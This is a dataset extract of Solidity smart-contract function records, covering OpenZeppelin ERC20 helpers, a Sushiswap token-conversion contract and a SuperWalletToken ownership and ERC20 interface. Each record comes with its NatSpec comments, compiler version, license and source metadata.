contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private ...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
_setupDecimals
function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; }
/** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU GPLv3
ipfs://c8d57d481ca8eab06bc8ada4b25b292c3168f27650075dc266cc7d2cfe69bf18
{ "func_code_index": [ 8925, 9020 ] }
14,791
gcDAI
@openzeppelin/contracts/token/ERC20/ERC20.sol
0x8c659d745eb24df270a952f68f4b1d6817c3795c
Solidity
ERC20
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private ...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
_beforeTokenTransfer
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
/** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * -...
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU GPLv3
ipfs://c8d57d481ca8eab06bc8ada4b25b292c3168f27650075dc266cc7d2cfe69bf18
{ "func_code_index": [ 9618, 9715 ] }
14,792
gcDAI
contracts/GSushiswapExchange.sol
0x8c659d745eb24df270a952f68f4b1d6817c3795c
Solidity
GSushiswapExchange
contract GSushiswapExchange is GExchange { /** * @notice Computes the amount of tokens to be received upon conversion. * @param _from The contract address of the ERC-20 token to convert from. * @param _to The contract address of the ERC-20 token to convert to. * @param _inputAmount The amount of the _fro...
/** * @notice This contract implements the GExchange interface routing token * conversions via Sushiswap. */
NatSpecMultiLine
calcConversionOutputFromInput
function calcConversionOutputFromInput(address _from, address _to, uint256 _inputAmount) public view override returns (uint256 _outputAmount) { return SushiswapExchangeAbstraction._calcConversionOutputFromInput(_from, _to, _inputAmount); }
/** * @notice Computes the amount of tokens to be received upon conversion. * @param _from The contract address of the ERC-20 token to convert from. * @param _to The contract address of the ERC-20 token to convert to. * @param _inputAmount The amount of the _from token to be provided (may be 0). * @...
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU GPLv3
ipfs://c8d57d481ca8eab06bc8ada4b25b292c3168f27650075dc266cc7d2cfe69bf18
{ "func_code_index": [ 444, 692 ] }
14,793
gcDAI
contracts/GSushiswapExchange.sol
0x8c659d745eb24df270a952f68f4b1d6817c3795c
Solidity
GSushiswapExchange
contract GSushiswapExchange is GExchange { /** * @notice Computes the amount of tokens to be received upon conversion. * @param _from The contract address of the ERC-20 token to convert from. * @param _to The contract address of the ERC-20 token to convert to. * @param _inputAmount The amount of the _fro...
/** * @notice This contract implements the GExchange interface routing token * conversions via Sushiswap. */
NatSpecMultiLine
calcConversionInputFromOutput
function calcConversionInputFromOutput(address _from, address _to, uint256 _outputAmount) public view override returns (uint256 _inputAmount) { return SushiswapExchangeAbstraction._calcConversionInputFromOutput(_from, _to, _outputAmount); }
/** * @notice Computes the amount of tokens to be provided upon conversion. * @param _from The contract address of the ERC-20 token to convert from. * @param _to The contract address of the ERC-20 token to convert to. * @param _outputAmount The amount of the _to token to be received (may be 0). * @r...
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU GPLv3
ipfs://c8d57d481ca8eab06bc8ada4b25b292c3168f27650075dc266cc7d2cfe69bf18
{ "func_code_index": [ 1094, 1343 ] }
14,794
gcDAI
contracts/GSushiswapExchange.sol
0x8c659d745eb24df270a952f68f4b1d6817c3795c
Solidity
GSushiswapExchange
contract GSushiswapExchange is GExchange { /** * @notice Computes the amount of tokens to be received upon conversion. * @param _from The contract address of the ERC-20 token to convert from. * @param _to The contract address of the ERC-20 token to convert to. * @param _inputAmount The amount of the _fro...
/** * @notice This contract implements the GExchange interface routing token * conversions via Sushiswap. */
NatSpecMultiLine
convertFunds
function convertFunds(address _from, address _to, uint256 _inputAmount, uint256 _minOutputAmount) public override returns (uint256 _outputAmount) { address _sender = msg.sender; G.pullFunds(_from, _sender, _inputAmount); _outputAmount = SushiswapExchangeAbstraction._convertFunds(_from, _to, _inputAmount, _minOut...
/** * @notice Converts a given token amount to another token, as long as it * meets the minimum taken amount. Amounts are debited from and * and credited to the caller contract. It may fail if the * minimum output amount cannot be met. * @param _from The contract address of t...
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU GPLv3
ipfs://c8d57d481ca8eab06bc8ada4b25b292c3168f27650075dc266cc7d2cfe69bf18
{ "func_code_index": [ 2024, 2435 ] }
14,795
SuperWalletToken
SuperWalletToken.sol
0xae66d00496aaa25418f829140bb259163c06986e
Solidity
Owned
contract Owned { /// @dev `owner` is the only address that can call a function with this /// modifier modifier onlyOwner() { require(msg.sender == owner) ; _; } address public owner; /// @notice The Constructor assigns the message sender to be `owner` function Ow...
Owned
function Owned() public { owner = msg.sender; }
/// @notice The Constructor assigns the message sender to be `owner`
NatSpecSingleLine
v0.4.19+commit.c4cbbb05
bzzr://2eea81bd1abfa49720aecdd2fd04a04be8e107129cdcb6ae06ee45afbc9786b9
{ "func_code_index": [ 305, 371 ] }
14,796
SuperWalletToken
SuperWalletToken.sol
0xae66d00496aaa25418f829140bb259163c06986e
Solidity
Owned
contract Owned { /// @dev `owner` is the only address that can call a function with this /// modifier modifier onlyOwner() { require(msg.sender == owner) ; _; } address public owner; /// @notice The Constructor assigns the message sender to be `owner` function Ow...
changeOwner
function changeOwner(address _newOwner) public onlyOwner { newOwner = _newOwner; }
/// @notice `owner` can step down and assign some other address to this role /// @param _newOwner The address of the new owner. 0x0 can be used to create /// an unowned neutral vault, however that cannot be undone
NatSpecSingleLine
v0.4.19+commit.c4cbbb05
bzzr://2eea81bd1abfa49720aecdd2fd04a04be8e107129cdcb6ae06ee45afbc9786b9
{ "func_code_index": [ 636, 737 ] }
14,797
SuperWalletToken
SuperWalletToken.sol
0xae66d00496aaa25418f829140bb259163c06986e
Solidity
ERC20Token
contract ERC20Token { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since pu...
balanceOf
function balanceOf(address _owner) public view returns (uint256 balance);
/// @param _owner The address from which the balance will be retrieved /// @return The balance
NatSpecSingleLine
v0.4.19+commit.c4cbbb05
bzzr://2eea81bd1abfa49720aecdd2fd04a04be8e107129cdcb6ae06ee45afbc9786b9
{ "func_code_index": [ 634, 712 ] }
14,798
SuperWalletToken
SuperWalletToken.sol
0xae66d00496aaa25418f829140bb259163c06986e
Solidity
ERC20Token
contract ERC20Token { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since pu...
transfer
function transfer(address _to, uint256 _value) public returns (bool success);
/// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not
NatSpecSingleLine
v0.4.19+commit.c4cbbb05
bzzr://2eea81bd1abfa49720aecdd2fd04a04be8e107129cdcb6ae06ee45afbc9786b9
{ "func_code_index": [ 949, 1031 ] }
14,799